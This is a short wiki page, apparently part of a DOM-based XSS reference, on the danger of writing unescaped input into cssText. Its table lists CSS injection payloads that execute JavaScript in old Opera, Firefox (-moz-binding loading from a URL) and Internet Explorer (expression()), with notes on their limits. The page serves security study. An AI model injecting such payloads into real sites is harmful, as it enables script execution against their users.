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CSS Text sink
Ohpe edited this page Jan 29, 2016
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Setting a CSSStyleDeclaration by using unescaped input could be dangerous. It is mostly browser specific. The following table shows Javascript based attacks.
| Tag | Browser | Version | * CssText attack vector* |
Impact | Limitations/Notes |
|---|---|---|---|---|---|
* |
Opera | 10.63 | -o-link:'javascript:alert(1)';-o-link-source:current |
Js Exec with user click | User Interaction |
* |
Firefox | 3.x.x/4.x | -moz-binding:url(//vi.ct.im/page?par=val#checkbox); |
Js Exec | only on same site - SOP compliance - so a XML Inj or upload is needed. Content-type: text/xml or application/xml (? - to be confirmed) |
* |
IE | 7/8 | a:expression(write(1)) |
Js Exec | ? |
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Sinks
- Direct Execution Sinks
- Set Object Sinks
- HTML Manipulation Sinks
- Style Sinks
- XMLHttpRequest Sink
- Set Cookie Sink
- Set Location Sink
- Control Flow Sink
- [Use of Equality And Strict Equality](Use of Equality And Strict Equality)
- Math.random Sink
- JSON Sink
- XML Sink
- [Common JavaScript libraries](Common JavaScript libraries)
- String Manipulation Methods
- Local DOMXSS
- Finding DOMXSS
- Object Shadowing
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